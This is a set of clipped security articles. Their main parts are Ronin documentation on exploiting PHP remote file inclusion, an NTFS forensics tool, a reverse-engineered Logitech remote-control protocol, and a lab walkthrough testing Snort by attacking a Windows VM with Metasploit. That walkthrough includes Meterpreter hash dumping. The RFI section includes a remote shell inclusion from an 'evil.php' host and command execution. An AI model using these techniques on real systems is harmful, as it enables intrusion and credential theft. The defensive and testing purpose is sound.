    >> vuln.save_target('wtmp','/tmp/wtmp')
    => "/tmp/wtmp"
[/code]

Mirror commonly targeted files to a specified local directory:

[code]

    >> vuln.mirror_targets('/tmp/e-builds/')
    => [...]
[/code]

Fingerprint the web-server:

[code]

    >> vuln.fingerprint
    => {:mysql_data_dir=>"/var/lib/mysql",
    :lighttpd_bind=>"172.18.0.102",
    :mysql_bind=>"127.0.0.1",
    :lighttpd_port=>"81",
    :mysql_user=>"mysql",
    :mysql_port=>"3306",
    :lighttpd_error_log=>"/var/log/lighttpd/error.log",
    :lighttpd_pid_file=>"/var/run/lighttpd.pid",
    :mysql_socket=>"/var/run/mysqld/mysqld.sock",
    :lighttpd_access_log=>"/var/log/lighttpd/access.log"}
[/code]

## Remote File Inclusion \(RFI\)

Test a URL for RFI:

[code]

    >> url = URL('http://www.example.com/page.php?layout=default')
    => #<URI::HTTP:0xfdb7a3d4c URL:http://www.example.com/page.php?layout=default>>> url.has_rfi?
    => true
[/code]

Return a  PHP::RFI  object which can be used to include other PHP files:

[code]

    >> vuln = url.first_rfi
    => #<Ronin::PHP::RFI:0xb6f0e9dc @param="layout",
    @url=#<URI::HTTP:0xfdb7a3d4c URL:http://www.example.com/page.php?layout=default>,
    @test_script="http://ronin.rubyforge.org/dist/php/rfi/test.php", @terminate=true>
[/code]

Including arbitrary PHP:

[code]

    >> vuln.include('http://www.shells4you.com/evil.php')
    => "..."
[/code]

Using the  PHP Remote Procedure Call  \(RPC\) interface:

[code]

    >> client = vuln.rpc
    => #<Ronin::RPC::PHP::Client:0xb7439560 @url="http://www.example.com/page.php?layout=http://ronin.rubyforge.org/dist/php/rpc/server.min.php?",
    @session={}, @proxy=nil, @cookie=nil, @user_agent=nil>>> client.call('shell.exec','whoami')
    => "www"
[/code]

Using the PHP-RPC Console service:

[code]

    >> php = client.console
    => #<Ronin::RPC::PHP::Console:0xb7437cb0 @name=:console,@client=#<Ronin::RPC::PHP::Client:0xb7439560
    @url="http://www.example.com/page.php?layout=http://ronin.rubyforge.org/server.min.php?", @session={},
    @proxy=nil, @cookie=nil, @user_agent=nil>>>> php.phpversion
    => "4.3.10"
    >> php.php_uname('-m')
    => "i686"
[/code]

Using the PHP-RPC Shell for quick command execution:

[code]

    >> shell = client.shell
    => #<Ronin::RPC::PHP::Shell:0xb74364a0 @name=:shell, @client=#>Ronin::RPC::PHP::Client:0xb7439560
    @url="http://www.example.com/page.php?layout=http://ronin.rubyforge.org/server.min.php?", @session={},
    @proxy=nil, @cookie=nil, @user_agent=nil>>>> shell.cwd
    => "/var/www/site/\n"
    >> shell.cd '..'
    => ""
    >> shell.exec('date -u')
    => "Thu Aug 21 10:29:38 UTC 2008\n"
    >> shell.system('ps')
       PID TTY          TIME CMD
     27042 pts/8    00:00:00 bash
     27841 pts/8    00:00:00 ps
    => nil
[/code]

Using the Interactive Shell for the PHP-RPC Console service:

[code]

    >> php.interact
    >> phpversion();
    => "4.3.10"
    >> explode('|', 'one|two|three');
    => Array(
      "one",
      "two",
      "three"
    )
    >> exit
    => nil
[/code]

Using the Interactive Shell for the PHP-RPC Shell service:

[code]

    >> shell.interact
    $ pwd
    /var/www/site/
    $ cd ..
    $ ls -la
    ...
    $ exit
    => nil
[/code]

  *   * Postmodern Modulus III
House of Postmodern

Copyright © 2008-2009 Hal Brodigan.

Made with Vim | XHTML 1.1 Strict
  * 

# Python forensics tools

**Created:**| _2/1/2010 3:30:29 PM_  
---|---  
**Updated:**| _2/1/2010 3:30:46 PM_  
**Author:**| __  
**Tags:**| _Forensics python_  
  
analyzeMFT - a Python tool to deconstruct the Windows NTFS $MFT file  
---  
## Overview:

analyzeMFT.py is designed to fully parse the MFT file from an NTFS filesystem
and present the results as accurately as possible in a format that allows
further analysis with other tools. At present, it parses the attributes from a
$MFT file to produce the following output:

  * Record Number
  * Good - if the entry is valid
  * Active - if the entry is active
  * Record type - the type of record
  * Parent Folder - The file's parent folder
  * Record Sequence - the sequence number for the record
  * For the standard information attribute:
    * Creation date
    * Modification date
    * Access date
    * Entry date
  * For up to four file name records:
    * File name
    * Creation date
    * Modification date
    * Access date
    * Entry date
  * Object ID
  * Birth Volume ID
  * Birth Object ID
  * Birth Domain ID
  * And flags to show if each of the following attributes is present:
    * Standard Information, Attribute List, Filename, Object ID, Volume Name, Volume Info, Data, Index Root, Index Allocation, Bitmap, Reparse Point, EA Information, EA, Property Set, Logged Utility Strea

For each entry in the MFT a record is written to an output file in CSV format.
analyzeMFT will run on any system with Python installed. A standalone Windows
executable is also available, Contributions and suggestions for improvement
are quite welcome. analyzeMFT is Copyright \(c\) 2010 David Kovar. All rights
reserved. This software is distributed under the Common Public License 1.0.

## Sample output:

Sample output: "Record Number","Good","Active","Record type","Parent
Folder","Record Sequence","Filename \#1","Std Info Creation date","Std Info
Modification date","Std Info Access date","Std Info Entry date","FN Info
Creation date","FN Info Modification date","FN Info Access date","FN Info
Entry date","Object ID","Birth Volume ID","Birth Object ID","Birth Domain
ID","Filename \#2","FN Info Creation date","FN Info Modify date","FN Info
Access date","FN Info Entry date","Filename \#3","FN Info Creation date","FN
Info Modify date","FN Info Access date","FN Info Entry date","Filename
\#4","FN Info Creation date","FN Info Modify date","FN Info Access date","FN
Info Entry date","Standard Information","Attribute List","Filename","Object
ID","Volume Name","Volume Info","Data","Index Root","Index
Allocation","Bitmap","Reparse Point","EA Information","EA","Property
Set","Logged Utility Stream"  
"0","Good","Active","File","5 - 5","1","$MFT","2007/07/31
19:16:13.734373","2007/07/31 19:16:13.734373","2007/07/31
19:16:13.734373","2007/07/31 19:16:13.734373","2007/07/31
19:16:13.734373","2007/07/31 19:16:13.734373","2007/07/31
19:16:13.734373","2007/07/31
19:16:13.734373","","","","","","","","","","","","","","","","","","","","True","False","False","False","False","False","True","False","False","True","False","False","False","False","False"  
\-------  
"110575","Good","Inactive","0","5422 -
5426","3","TRANSFERMGR.EXE-24D2A23F.pf","2009/12/27
18:35:57.625000","2009/12/28 05:32:01.390625","2009/12/27
18:35:57.625000","2009/12/28 05:32:01.390625","2009/12/27
18:35:57.625000","2009/12/27 18:35:57.625000","2009/12/27
18:35:57.625000","2009/12/27
18:35:57.625000","","","","","TRANSFERMGR.EXE-24D2A23F.pf","2009/12/27
18:35:57.625000","2009/12/27 18:35:57.625000","2009/12/27
18:35:57.625000","2009/12/27
18:35:57.625000","","","","","","","","","","","True","False","False","False","False","False","True","False","False","False","False","False","False","False","False"  

## Downloads:

Source: The source code can be downloaded here. \(Note: This currently does
not work. Looks like I need to figure out how to build Windows installers.
Windows XP binary: A standalone Windows XP binary is available here. This
might work on other platforms, I've not had an opportunity to test it. \)

## Background:

My original inspiration was a combination of MFT Ripper \(thus the current
output format\) and the SANS 508.1 study guide. I couldn't bear to read about
NTFS structures again, particularly since the information didn't "stick". I
also wanted to learn Python so I figured that using it to tear apart the MFT
file was a reasonably sized project. Many of the variable names are taken
directly from Brian Carrier's The Sleuth Kit. His code, plus his book "File
System Forensic Analysis", was very helpful in my efforts to write this code.
The output format is almost identical to Mark Menz's MFT Ripper. His tool
really inspired me to learn more about the structure of the MFT and to learn
what additional information I could glean from the data. I also am getting
much more interested in timeline analysis and figured that really
understanding the the MFT and having a tool that could parse it might serve as
a good foundation for further research in that area.

## Output from --help:

Usage: analyzeMFT.py \[options\] Options:  
-h, --help show this help message and exit  
-f FILE, --file=FILE read MFT from FILE  
-o FILE, --output=FILE  
write results to FILE  
-g, --gui Use GUI for file selection  
-d, --debug turn on debugging output  
Purpose: analyzeMFT.py is designed to fully parse the MFT file from an NTFS
filesystem  
and present the results as accurately as possible in a format that allows  
further analysis with other tools. At present, it will read an entire MFT  
through to the end without error, but it skips over parsing some of the  
attributes. These will be filled in as time permits. Caution: This code is
very much under development. You should not depend on its results without
double checking  
them against at least one other tool. Output: The output is currently written
in CSV format. Due to the fact that Excel  
automatically determines the type of data in a column, it is recommended that  
you write the output to a file without the .csv extension, open it in Excel,
and  
set all the columns to "Text" rather than "General" when the import wizard  
starts. Failure to do so will result in Excel formatting the columns in a way  
that misrepresents the data. I could pad the data in such a way that forces
Excel to set the column type correctly  
but this might break other tools. Future work: 1\) Figure out how to write the
CSV file in a manner that forces Excel to interpret the date/time  
fields as text. If you add the .csv extension Excel will open the file without
invoking the import  
wizard and the date fields are treated as "General" and the date is chopped
leaving just the time.  
2\) Add version switch  
3\) Add "mftr" switch - produce MFT Ripper compatible output  
4\) Add "extract" switch - extract or work on live MFT file  
5\) Finish parsing all possible attributes  
6\) Look into doing more timeline analysis with the information  
7\) Improve the documentation so I can use the structures as a reference and
reuse the code more effectively  
8\) Clean up the code and, in particular, follow standard naming conventions  
9\) There are two MFT entry flags that appear that I can't determine the
significance of. These appear in  
the output as Unknown1 and Unknown2  
10\) Parse filename based on 'nspace' value in FN structure  
11\) Test it and ensure that it works on all major Windows OS versions  
12\) Output HTML as well as CSV  
See other ToDos in the code

# Digital Bond » Network Analysis, Logitech Mouse Server

**Created:**| _3/19/2010 3:43:58 AM_  
---|---  
**Updated:**| _3/19/2010 3:44:12 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing network-security new?_  
  

## Network Analysis, Logitech Mouse Server

The offensive security team here at Digital Bond spends a lot of our time
attacking various control system components, from field device to SCADA server
to HMI and everything in between. A big part of these attacks is network
analysis. We examine the protocols being used to control the targeted systems,
and in the case of unknown of proprietary protocols reverse engineer them, to
try to find flaws in the way that the data is data, what functionality we can
control without authenticating \(far too often it’s far too much\), whether
its vulnerable to man-in-the-middle attacks, replay attacks, etc. Seldom are
we able to talk about the process or the results of that work, so a few nights
ago I was testing out some software to control a media server and I found some
interesting things. Since its outside of our usual realm of work, I thought
it’d be a good topic to write up the analysis, and give you all a glimpse into
the process and the results.

My target was Logitech Mouse Server. It’s a fun little piece of software that
lets you use an iphone/itouch as a remote keyboard/mouse for whatever system
the server is installed on. On initial use no surprise, it works as
advertised, but I started getting a little curious when I was controlling the
server without any pairing or validation. Sleep was still a couple hours away,
so I decided to take a deeper look into it and see what’s happening.

Down to the network layer we go. First things first, let’s see what ports the
server is using for the connections. Using netstat, or its nicer looking
cousin, TCPView, we see that 4026/tcp and 4026/udp look like our targets.

<img src='img/Temp2_2239.png' width='501' height='169' />  
---  
Using that information we put together a wireshark filter, “udp.port eq 4026
|| tcp.port eq 4026” \(eq can be read as “==” for those of you that don’t
speak wireshark filter\) and apply it to the session we’ve been sniffing, and
we should see all the important traffic.

<img src='img/Temp2_2238.png' width='501' height='169' />  
---  
It looks like a tcp connection is established, but the data is passed over udp
packets, which seem to contain very little data in each packet. Interesting
choice in protocol design since you’ve already got the overhead of the tcp
connection and I’d guess that you would normally want keystrokes to arrive in
the order that you press them, that’s the choice they went with so we’ll
ignore that issue and move along. Going down a little deeper and examining the
individual udp packets.

Thankfully this protocol is probably the easiest protocol I’ll ever reverse
since the client doesn’t send anything without you asking it to, and after
going through a few packets you quickly seem the patterns emerge. Here is the
data section of the packets sending “test” to the server:

[code]

    0000   00 00 00 0d 00 00 00 74 00 00 00 00 00 00 00 02          .......t........
    
[/code]

[code]

    0000   00 00 00 0d 00 00 00 65 00 00 00 00 00 00 00 02          .......e........
    
[/code]

[code]

    0000   00 00 00 0d 00 00 00 73 00 00 00 00 00 00 00 02          .......s........
    
[/code]

[code]

    0000   00 00 00 0d 00 00 00 74 00 00 00 00 00 00 00 02          .......t........
    
[/code]

And here’s dumps of the <WIN> key being pressed/release and then the <ALT> key
being pressed/released:

[code]

    0000   00 00 00 02 00 00 00 37 00 00 00 00 00 00 00 02          .......7........
    
[/code]

[code]

    0000   00 00 00 01 00 00 00 37 00 00 00 00 00 00 00 02          .......7........
    
[/code]

[code]

    0000   00 00 00 02 00 00 00 3a 00 00 00 00 00 00 00 02          .......:........
    
[/code]

[code]

    0000   00 00 00 01 00 00 00 3a 00 00 00 00 00 00 00 02          .......:........
    
[/code]

Notice a pattern? The first four bytes are always fixed when sending simple
keyboard, like the ‘A’, ‘S’, or ‘D’ key, and its different fixed value for all
meta keys like <CTRL>, <ALT>,<WINDOWS>, etc, and different yet again for mouse
left/right and mouse up/down. The 2nd set of 4 bytes changes with each
keypress

Putting this together, we see every packet 16 bytes in length, consisting of 3
fields, a 4 byte big endian field to specify the type of command being sent,
an 4 byte big endian field to specify the value being sent, and then a 8 byte
field that seems to be some sort of increasing and seemingly random data, but
in testing appears to be ignored anyways so we won’t worry too much about it.
Now onto the fun part, after testing our assumptions a few times with some
quick scripting we’ve validated our analysis enough to move onto the next
step, and that’s going to be creating a scapy layer so that we can make this a
bit more abstract and modular.

Which is as simple as creating a file with this class, dropping it into the
layers directory, and adding it to the layers to load on startup in the
conf.py file:

class Logitech\(Packet\):

name = “Logitech”

fields\_desc=\[ IntEnumField\("cmd", 0x0d, \{1:"meta\_off", 2:"meta\_on",
6:"mouse\_hor", 7:"mouse\_vert", 0x0d:"send\_char"\}\),

ConditionalField\(IntEnumField\("meta\_key",1, \{58:"ALT", 59:"CTRL",
0x37:"WIN"\}\),lambda pkt:pkt.cmd in \[1,2\] \),

ConditionalField\(IntEnumField\(“direction”,1, \{1:”increase”,
-1:”decrease”\}\),lambda pkt:pkt.cmd in \[6,7\] \),

ConditionalField\(IntField\(“character”, 0×41\),lambda pkt:pkt.cmd in \[0x0d\]
\),

LongField\(“uselessstamp”, 0×02\)

Most of the class should speak to itself, its just a collection of fields that
are thrown together when the packet is built and sent out on the network, but
I tried to make it somewhat user friendly using the enumfields to abstract it
out a bit. The conditionalfields are a nice feature that you can use within
the scapy framework/libraries, making the defined field only exist in the
generated packet if the condition is true. The lambdas, well they’re just an
anonymous function to do a simple comparison.

So we’ve broken down the protocol into its important bits, we’ve created a
basic abstract class within a framework that we can easily send data. Just a
bit of fun and an easy exercise on your way to becoming a network ninja,
right? Well, probably, but there is a small legitimate security concern there,
since by default the server runs on startup, and it has to accept external
connections since that’s the reason it exists. Of course this type of attack
is just slightly more stealthy than hitting someone with a wrench and typing
commands into their system until they wake up, but nevertheless it could be
used to run arbitrary commands. Say when the victim is particular engrossed in
their morning coffee at Starbucks, they and any network that they log onto
later could easily be

<img src='img/Temp2_2237.png' width='413' height='169' />  
---  
The larger issue, is to be wary of the applications that are not necessary for
the tasks of a given system. Software that allows this kind of behavior is
just fine on a media server a basement, but has no place on a system that’s
ever going to be on an untrusted network.

# RE: Kernel/user shared page kernel debugger detection \(x64\)

**Created:**| _7/28/2013 7:46:31 AM_  
---|---  
**Updated:**| _7/28/2013 7:53:47 AM_  
**Author:**| __  
**Tags:**| _virtusalisation kernel Memory corruptions_  
  

# **K** ernel/user shared page kernel debugger detection \(x64****\)

No no, this isn't the single byte indicator at 0x2D4**.** Just in case you had
maybe thought I lost my mind or something**.** I did however lose my mind over
dictating whether or not they did this on purpose**.** Read on and post your
thoughts**.**  
  
Lets imagine an operating instance with no outstanding boot flags used to
enable the kernel debugger**.** The data beyond the xsave features area \(fpu
xstor features etc\) may look something like this:

<img src='img/Temp2_6687.png' />

Nothing out of the ordinary eh**?**  
  
Alright. Lets boot with /debug and com port 1

<img src='img/Temp2_6688.png' />

Wow would you look at all this extra data**.** Hey I even see a string
'DBGP'\! Lets analyze what is really going on here to see if this is on
purpose or just simply some kind of accident**.** After KiSystemStartup passes
the loader parameter block to KdInitSystem, KdInitSystem dictates whether or
not to initialize the kernel debugger based off of the boot parameters**.** It
is at this point of deciding where our kernel stack is in the current
state**.** You'll have to excuse my art skills though, no fancy crayon
drawings today:  
  
data higher  
then SP**.** in use**.**  
↑  
  
RSP  
  
↓  
data lower  
then SP**.** not  
allocated \(garbage\)  
  
As KdInitializeDebugger goes through it's layers of execution, needless to say
it expands SP as it goes**.** DBGP is actually an ACPI table in which HAL
determines if existing and capable debug ports do exist**.** For example it
ensures that the com port is an actual 16550 UART**.** This isn't limited to
just serial ports, as you know, debugging over USB/network/IEEE is also
available**.** ACPI simply states whether or not these interfaces abide by the
Microsoft debugging standard**.** For instance the USB host controllers must
have a debug interface, or it cannot be used for this purpose**.**  
  
It just so happens that during this process, the table identifier 'DBGP' is
saved to the stack prior to asking HAL to look up the table ;p  
  
Thus when KdInitializeDebugger unravels itself, this extra data along with our
lovely friend DBGP still exist in the garbage portion of the stack**.** Ok you
are with me so far, that is good, lets continue**.**  
  
A short time later, KiComputeEnabledFeatures allocates itself a structure to
fill for xsave features**.** It just so happens that this structure overlaps
the garbage left behind from KdInitializeDebugger**.** Otherwise the structure
would in fact be zeroed out because it has not been used prior**.** This
structure is then written to the xsave features portion of the kernel/user
shared page, and contains this extra information**.** This extra information
is enough to infer presence of a kernel debugger because without /DEBUG
KdInitializeDebugger is never called**.**  
  
This heading is also labeled as \(x64\)**.** I did look at windows in legacy
operating mode but didn't notice the same results however there was some
fluctuation, perhaps enough to detect the same flags**.** When I get more time
I will have a look.  
  
Now whether or not this is on purpose, you can decide :\)  
  
****

# web-malware-collection - Collection of web application backdoors and
malware, in PHP, JSP, ASP, etc. - Google Project Hosting

**Created:**| _4/19/2012 4:38:41 PM_  
---|---  
**Updated:**| _4/19/2012 4:38:41 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Malware-analysis_  
  
Basically, after I fucked up the SVN for my web-backdoors-collection I
realized "backdoors" was only one half of the story. The new updated version
of it \(v3 now\!\) is going to cover: PHP/ASP/JSP Backdoors/Other "DoS
Scripts" Scanning scripts Bots that are found spreading via Web App Vulns And
"eratta" \- random nasty shit we find in our webroots. There will also be a
folder named "honey" that will contain stuff found in my day to day searching
of honeynet logs and google searching for broken stuff that was "interesting".
Warning: Files on this project MAY be malicious. If you plan on USING them be
warned, they are more than likely backdoored by someone. We need submissions\!
Email me\! Or start an "issue" about it\! Homepage for project:
http://insecurety.net/projects/web-malware/  
---

# Traffic Talk: Testing Snort with Metasploit

**Created:**| _2/3/2010 9:28:19 AM_  
---|---  
**Updated:**| _2/3/2010 9:28:35 AM_  
**Author:**| __  
**Tags:**| _security tools iDS/iPS Metasploit_  
  

# **Traffic Talk: Testing Snort with Metasploit**

Richard Bejtlich

02.02.2010

Rating: --- \(out of 5\)

<img src='img/Temp2_8435.gif' width='1' height='5' />

<img src='img/Temp2_8435.gif' width='1' height='2' />

<img src='img/Temp2_8434.gif' width='16' height='16' /> Digg This\! <img
src='img/Temp2_8432.gif' alt='StumbleUpon Toolbar' /> StumbleUpon <img
src='img/Temp2_8433.gif' width='16' height='16' alt='Bookmark with Delicious'
/> Del.icio.us  
---  
<img src='img/Temp2_8435.gif' width='1' height='15' />

<img src='img/Temp2_8435.gif' width='1' height='1' />

**_Solution provider takeaway_** _: In this tip from Richard Bejtlich, solution providers whose customers are wondering whether their solutions are working as expected can learn how to deliver on what was promised by testing Snort, the network intrusion detection system \(IDS\). Testing Snort with Metasploit can help avoid poor testing and ensure that your customers' networks are protected._ Security and networking service providers are often asked whether their solutions are working as expected. Two years ago, I wrote How to test Snort, which concentrated on reasons for testing and ways to avoid doing poor testing. In this article, prompted by recent discussions among networking professionals, I show how to combine several tools in a scenario where I test Snort with Metasploit.First, I recommend testing network inspection tools by using a captured trace. While live traffic can be used for testing in some circumstances, testing with a trace is often the easiest way to remove variability between individual test runs. Capture traffic once and replay or read it multiple times, ensuring that tools all receive the same traffic. With high-end testing equipment, this is not necessary, but on a budget, I recommend capturing traffic of interest with a tool like Tcpdump or Tshark. | <img src='img/Temp2_8435.gif' width='1' height='7' />  
---  
| | **Traffic Talk with Richard Bejtlich**  
---  
Read past editions ofTraffic Talk with Richard Bejtlich for more technical
tips on analyzing and monitoring network traffic using security software.  
<img src='img/Temp2_8435.gif' width='7' height='1' />  
<img src='img/Temp2_8435.gif' width='1' height='7' />  
In this example, I tell Tshark to log traffic to vmnet8.1.pcap, using the -S
switch to write packets to disk while displaying them live. This is not
recommended in a high-speed environment. I decided to show packets in the
console here to facilitate monitoring of the test.

`richard@neely:~$ sudo tshark -n -i vmnet8 -S -w vmnet8.1.pcap  
Running as user "root" and group "root". This could be dangerous.  
Capturing on vmnet8`

In a separate window, I ensure that the capture is working by generating an
ICMP echo to a Windows target, 192.168.199.128.

`richard@neely:~$ ping -c 1 192.168.199.128  
PING 192.168.199.128 (192.168.199.128) 56(84) bytes of data.  
64 bytes from 192.168.199.128: icmp_seq=1 ttl=128 time=0.628 ms  
...truncated...`

Tshark shows what it sees, as expected.

`2009-11-15 14:34:19.213008 192.168.199.1 192.168.199.128 ICMP Echo  
(ping) request  
2009-11-15 14:34:19.213610 192.168.199.128 192.168.199.1 ICMP Echo (ping)  
reply`

**Using Metasploit**

Next, I will use Metasploit \(www.metasploit.com\) to exploit a target Windows
system. The traffic I capture using Tshark will then be fed to Snort, to test
its detection capabilities.

I start by updating Metasploit from SVN. If you do not already have Metasploit
installed on a Linux system, download it from the Metasploit website.

`richard@neely:~$ cd /usr/local/src/msf/trunk/  
richard@neely:/usr/local/src/msf/trunk$ svn update  
At revision 7521.  
richard@neely:/usr/local/src/msf/trunk$ sudo ./msfconsole  
`

``METASPLOIT``

`  
  
=[ metasploit v3.3-testing [core:3.3 api:1.0]  
+ -- --=[ 444 exploits - 216 auxiliary  
+ -- --=[ 190 payloads - 21 encoders - 8 nops  
=[ svn r7521 updated today (2009.11.15)  
msf >`

With Metasploit started, I decided to use the db\_autopwn functionality to
almost completely automate exploitation of the target. I create a sqlite3
database, tell Metasploit to scan the target with Nmap, then use db\_autopwn
to exploit the target.

`msf > db_create  
[*] Creating a new database instance...  
[*] Successfully connected to the database  
[*] File: /home/richard/.msf3/sqlite3.db  
msf > db_connect  
[*] Successfully connected to the database  
[*] File: /home/richard/.msf3/sqlite3.db  
msf > db_nmap 192.168.199.128  
  
Starting Nmap 4.53 ( http://insecure.org ) at 2009-11-15 14:37 EST  
Interesting ports on 192.168.199.128:  
Not shown: 1710 closed ports  
PORT STATE SERVICE  
135/tcp open msrpc  
139/tcp open netbios-ssn  
445/tcp open microsoft-ds  
3389/tcp open ms-term-serv  
MAC Address: 00:0C:29:23:94:DD (VMware)  
  
Nmap done: 1 IP address (1 host up) scanned in 1.642 seconds  
  
msf > db_autopwn  
[*] Usage: db_autopwn [options]  
-h Display this help text  
-t Show all matching exploit modules  
-x Select modules based on vulnerability references  
-p Select modules based on open ports  
-e Launch exploits against all matched targets  
-r Use a reverse connect shell  
-b Use a bind shell on a random port (default)   
-q Disable exploit module output  
-I [range] Only exploit hosts inside this range  
-X [range] Always exclude hosts inside this range  
-PI [range] Only exploit hosts with these ports open  
-PX [range] Always exclude hosts with these ports open  
-m [regex] Only run modules whose name matches the regex  
  
msf > db_autopwn -e -p  
[*] (6/90): Launching exploit/netware/smb/lsass_cifs against  
192.168.199.128:139...  
...edited...  
[*] (82/90): Launching exploit/windows/smb/ms04_011_lsass against  
192.168.199.128:139...  
[*] Started bind handler  
[*] (83/90): Launching exploit/windows/smb/ms08_067_netapi against  
192.168.199.128:445...  
[*] Started bind handler  
[*] Job limit reached, waiting on modules to finish...  
[-] Exploit failed: Login Failed: The server responded with unimplemented  
command 0 with WordCount 0  
[*] Binding to 6bffd098-a112-3610-9833  
-46c3f87e345a:1.0@ncacn_np:192.168.199.128[\BROWSER] ...   
[*] Bound to 6bffd098-a112-3610-9833-  
46c3f87e345a:1.0@ncacn_np:192.168.199.128[\BROWSER] ...  
[*] Building the stub data...  
[*] Calling the vulnerable function...  
[*] Started bind handler  
[*] (89/90): Launching exploit/windows/smb/ms04_011_lsass against  
192.168.199.128:445...  
[*] Automatically detecting the target...  
[*] Started bind handler  
[*] Binding to 3919286a-b10c-11d0-9ba8  
-00c04fd92ef5:0.0@ncacn_np:192.168.199.128[\lsarpc]...   
[-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED  
(Command=162 WordCount=0)  
msf >  
[*] Fingerprint: Windows XP Service Pack 2 - lang:English  
[*] Selected Target: Windows XP SP2 English (NX)  
[*] Triggering the vulnerability...  
[*] Sending stage (719360 bytes)  
[*] Meterpreter session 1 opened (192.168.199.1:35634 ->
192.168.199.128:28616)  
  
msf > sessions  
  
Active sessions  
===============  
  
Id Description Tunnel  
-- ----------- ------  
1 Meterpreter 192.168.199.1:35634 -> 192.168.199.128:28616`

After successfully gaining access to the target, I activate the enabled
session to gather system information and dump password hashes.

`msf > sessions -i 1  
[*] Starting interaction with 1...  
  
meterpreter > sysinfo  
Computer: MOUNTAIN  
OS : Windows XP (Build 2600, Service Pack 2).  
Arch : x86  
Language: en_US  
  
meterpreter > hashdump  
Administrator:500:389649451be7a197aad3b435b51404ee:0a0de4e68b196396a07951d4f6d63e63:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
HelpAssistant:1000:7f855572b33e4f05464bb39f98bfb68b:bce6047c8e7645ddeb197ead3739  
81ea:::  
mule:1004:8e6fb096f80fe2e3aad3b435b51404ee:67632a4f8160558ec0589d0719a29584:::  
rented:1003:389649451be7a197aad3b435b51404ee:0a0de4e68b196396a07951d4f6d63e63:::  
SUPPORT_388945a0":1002:aad3b435b51404eeaad3b435b51404ee:e8118716735c1d394640002d  
3134b9a2:::`

Since I am on the target using the Meterpreter, I decided to enable
Metasploit's new, built-in packet sniffer capability to log 500 packets seen
by the victim, excluding backdoor traffic generated by the Meterpreter itself.

`meterpreter > use_sniffer  
  
Loading extension sniffer...success.  
  
Sniffer Commands  
================  
Command Description  
------- -----------  
sniffer_dump Retrieve captured packet data to PCAP file  
sniffer_interfaces Enumerate all sniffable network interfaces  
sniffer_start Start packet capture on a specific interface  
sniffer_stats View statistics of an active capture  
sniffer_stop Stop packet capture on a specific interface  
  
meterpreter > sniffer_interfaces  
  
1 - 'AMD PCNET Family PCI Ethernet Adapter' ( type:0 mtu:1514 usable:true  
dhcp:true wifi:false )  
2 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false  
wifi:false )  
meterpreter > sniffer_start 1 500  
[*] Capture started on interface 1 (500 packet buffer)  
meterpreter > sniffer_stats 1  
[*] Capture statistics for interface 1  
bytes: 784867  
packets: 1446`

By calling sniffer\_dump, I log the traffic back to my attack platform.

`meterpreter > sniffer_dump 1 /home/richard/msf-sniff.1.pcap  
[*] Flushing packet capture buffer for interface 1...  
[*] Flushed 500 packets (319123 bytes)  
[*] Downloaded 100% (319123/319123)...  
[*] Download completed, converting to PCAP...  
[*] PCAP file written to /home/richard/msf-sniff.1.pcap  
meterpreter > sniffer_stop 1  
[*] Capture stopped on interface 1`

I shut down the sniffer; then on my attack platform, I verify that Metasploit
brought the file back to my system.

`richard@neely:~$ capinfos msf-sniff.1.pcap  
File name: msf-sniff.1.pcap  
File type: Wireshark/tcpdump/... - libpcap  
File encapsulation: Ethernet  
Number of packets: 500  
File size: 317147 bytes  
Data size: 309123 bytes  
Capture duration: 11.000000 seconds  
Start time: Sun Nov 15 14:42:14 2009  
End time: Sun Nov 15 14:42:25 2009  
Data rate: 28102.09 bytes/s  
Data rate: 224816.73 bits/s  
Average packet size: 618.25 bytes  
  
richard@neely:~$ tcpdump -n -r msf-sniff.1.pcap | head -n 3  
reading from file msf-sniff.1.pcap, link-type EN10MB (Ethernet)  
14:42:14.000000 IP 209.84.20.126.80 > 192.168.199.128.1080: P  
2656650823:2656652271(1448) ack 2943460922 win 64240  
14:42:14.000000 IP 192.168.199.128.1080 > 209.84.20.126.80: . ack 1448 win
17520  
14:42:14.000000 IP 74.125.91.139.80 > 192.168.199.128.1087: S  
2563648101:2563648101(0) ack 2345152928 win 64240`

Back in the Meterpreter, I shut down the target.

`meterpreter > shutdown  
Shutting down...  
meterpreter > exit  
  
[*] Meterpreter session 1 closed.  
msf > exit  
richard@neely:/usr/local/src/msf/trunk$`

Finally, I stop collecting traffic on my attack platform by sending ctrl-c to
Tshark. It reports capturing 7349 packets.

`  
2009-11-15 14:45:23.220290 00:50:56:c0:00:08 00:0c:29:23:94:dd ARP Who has  
192.168.199.128? Tell 192.168.199.1  
ctrl-c  
7349 packets captured`

However, if we run Capinfos against the trace, it reports 7350 packets.

`richard@neely:~$ capinfos vmnet8.1.pcap  
File name: vmnet8.1.pcap  
File type: Wireshark/tcpdump/... - libpcap  
File encapsulation: Ethernet  
Number of packets: 7350  
File size: 2809106 bytes  
Data size: 2691482 bytes  
Capture duration: 665.267285 seconds  
Start time: Sun Nov 15 14:34:19 2009  
End time: Sun Nov 15 14:45:24 2009  
Data rate: 4045.72 bytes/s  
Data rate: 32365.72 bits/s  
Average packet size: 366.19 bytes  
`

`So does Tcpdump:`

``richard@neely:~$ tcpdump -n -r vmnet8.1.pcap | wc -l  
reading from file vmnet8.1.pcap, link-type EN10MB \(Ethernet\)  
7350``

The difference between 7349 and 7350 packets will not have a bearing on our
next steps, but noting the result during testing is important.

**Testing how Snort will process the traffic**

Now I want to test how Snort will process the traffic I captured using Tshark.
Remember, this traffic was collected while I attacked a Windows victim using
Metasploit. If Snort ignores this activity, I probably have not configured
Snort properly. I tell Snort to use a designated configuration file, to read
vmnet8.1.pcap, to log alerts to the /tmp directory, to write full output to
the alert file, and to log interesting traffic in binary format.

In the output that follows, notice that Snort processes the 7383 packets,
which is more than the 7350 packets in the trace. I run Snort on a FreeBSD
system.

`r200a:/home/richard$ snort -c /usr/local/etc/nsm/snort.conf -r  
/tmp/vmnet8.1.pcap -l /tmp/ -A full -b  
  
Running in IDS mode  
  
--== Initializing Snort ==--  
Initializing Output Plugins!  
Initializing Preprocessors!  
Initializing Plug-ins!  
Parsing Rules file /usr/local/etc/nsm/snort.conf  
PortVar 'HTTP_PORTS' defined : [ 80 ]  
PortVar 'SHELLCODE_PORTS' defined : [ 0:79 81:65535 ]  
PortVar 'ORACLE_PORTS' defined : [ 1521 ]  
Detection:  
Search-Method = AC-BNFA-Q  
